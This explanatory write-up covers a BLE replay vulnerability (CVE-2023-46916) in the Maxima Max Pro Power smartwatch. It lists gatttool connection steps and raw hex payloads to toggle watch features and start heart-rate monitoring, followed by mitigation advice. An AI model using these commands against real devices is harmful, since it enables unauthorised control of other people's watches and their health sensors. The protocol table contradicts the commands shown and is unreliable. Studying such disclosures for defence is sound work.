Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated)

Maxima Max Pro Power BLE Traffic Replay Vulnerability: A Deep Dive into Unauthenticated Exploitation

On November 13, 2023, cybersecurity researcher Alok Kumar from Cyberpwn Technologies Pvt. Ltd. disclosed a critical vulnerability in the Maxima Max Pro Power smartwatch, identified as CVE-2023-46916. This flaw enables an attacker to perform unauthorized actions via Bluetooth Low Energy (BLE) traffic replay—without authentication or authorization. The exploit hinges on the absence of data integrity checks on a specific GATT characteristic, allowing malicious actors to manipulate device behavior by replaying captured BLE packets.

Understanding the Exploit: BLE Traffic Replay in Practice

Bluetooth Low Energy (BLE) is widely used in wearable devices for secure, low-power communication. However, when security mechanisms like encryption, authentication, or integrity validation are missing, BLE traffic becomes a prime target for replay attacks. In the case of the Maxima Max Pro Power, attackers can sniff legitimate BLE traffic from one device and replay it on another, effectively impersonating a trusted source.

Key to this vulnerability is the 0x0012 GATT Characteristic handle, which serves as a command interface for various watch functions. The device accepts raw hexadecimal data without verifying its origin or authenticity. This makes it susceptible to traffic replay—a technique where an attacker captures valid command sequences and reuses them on different devices.

Exploitation Workflow: Step-by-Step Guide

Here is a real-world exploitation sequence using standard tools like bluetoothctl and gatttool on Linux:

sudo bluetoothctl scan le

This command scans for nearby BLE devices. The attacker identifies the Maxima Max Pro Power by its MAC address.

sudo gattool -I

Enters interactive mode for GATT communication, allowing direct interaction with the device.

connect 78:9A:BC:DE:FF:01

Connects to the target device using its MAC address. The system prompts for trust and authorization—this step is crucial, as it establishes a trusted connection.

char-desc

Lists all available GATT characteristics, revealing handles like 0x0012 and 0x0054.

mtu 247

Increases the Maximum Transmission Unit (MTU) to 247 bytes, enabling larger payloads for complex commands.

char-read-hnd 0x0054

Reads the value from characteristic 0x0054, which may contain device-specific configuration data. Trusting the device is required here.

Command Injection via Hex Payloads

Once connected, the attacker can send crafted hexadecimal commands to 0x0012. These payloads control various watch functionalities:

char-write-req 0x0012 ab00000e5422002202002b0009000000059fffffffff

Disables Raise to Wake: This command sets the "Raise to Wake" feature to off, preventing the watch from displaying time when lifted.

char-write-req 0x0012 ab00000ec42f002302002b0009010000059fffffffff

Enables Raise to Wake: Reverses the previous command, turning the feature back on.

char-write-req 0x0012 ab000009c2ee0034050023000400030501

Starts Heart Rate Monitoring: Initiates the heart rate sensor, enabling continuous tracking without user consent.

char-write-req 0x0012 ab000007c323001902001800020002

Set Time Format to 24-Hour: Changes the time display from 12-hour to 24-hour format.

char-write-req 0x0012 ab0000070022001802001800020006

Set Time Format to 12-Hour: Reverts the time display to 12-hour format.

Each command is a structured hex string that follows a proprietary protocol. The prefix ab00000 appears to be a command header, while the remaining bytes encode specific actions, parameters, and checksums (or lack thereof).

Why This is a Critical Risk

Unlike traditional BLE exploits that require pairing or encryption, this vulnerability operates unauthenticated. An attacker doesn’t need to pair with the device—just to sniff its traffic and replay it. This opens the door to:

• Remote device manipulation: Changing time format, disabling wake features, or enabling sensors without user consent.
• Privacy violations: Unauthorized activation of health monitoring features.
• Denial-of-service attacks: Repeatedly sending invalid commands to crash or lock the device.
• Man-in-the-Middle (MitM) scenarios: Replay attacks can be used in conjunction with sniffing to alter device behavior across multiple users.

Security Implications and Real-World Impact

Smartwatches are often used in sensitive environments—healthcare, fitness tracking, or personal monitoring. A vulnerability like CVE-2023-46916 undermines trust in device integrity. Imagine an attacker:

• Sniffing traffic from a user’s watch during a workout.
• Replaying the "start heart rate monitor" command on another user’s watch.
• Triggering continuous data collection without consent.

Even more concerning: an attacker could disable "Raise to Wake" on a victim’s watch, rendering it unusable during critical moments (e.g., waking up, checking time in the dark).

Technical Analysis: Protocol Structure and Lack of Integrity

Examining the hex payloads reveals a pattern:

Hex Prefix	Function	Parameters
ab00000e	Disable Raise to Wake	059fffffffff — likely a flag or status
ab00000ec	Enable Raise to Wake	01 — activation flag
ab000009c	Start Heart Rate	0501 — sensor activation
ab000007c	Set 24-Hour Time	0002 — format code

The absence of cryptographic checksums or signature verification in these payloads indicates a design flaw. The device accepts any data sent to 0x0012, regardless of origin or integrity. This is a classic example of trust without verification—a fundamental security failure.

Recommendations for Mitigation

For manufacturers and developers, this case highlights the need for:

• Authentication and encryption: Use BLE pairing with secure keys.
• Data integrity checks: Implement HMAC or digital signatures for command payloads.
• Command validation: Validate input parameters against known safe ranges.
• Rate limiting: Prevent repeated command injection.
• Log and audit: Track command history for anomaly detection.

For users, the following steps are advised:

• Keep firmware updated—vendor patches may address this vulnerability.
• Limit BLE exposure in public spaces.
• Use device pairing with trusted devices only.
• Monitor for unexpected behavior (e.g., heart rate tracking without activation).

Conclusion: A Wake-Up Call for IoT Security

CVE-2023-46916 is not just a technical flaw—it’s a systemic warning. The Maxima Max Pro Power case demonstrates how even simple, unauthenticated BLE interfaces can enable powerful attacks. As wearable devices become more integrated into daily life, security must evolve beyond convenience. Developers must prioritize trust verification, integrity validation, and user control in every interaction.

Replay attacks like this are increasingly common in IoT ecosystems. Without proper safeguards, devices become vulnerable to remote manipulation, privacy breaches, and unintended behavior—often without user awareness. This exploit serves as a stark reminder: “Just because it’s Bluetooth doesn’t mean it’s secure.”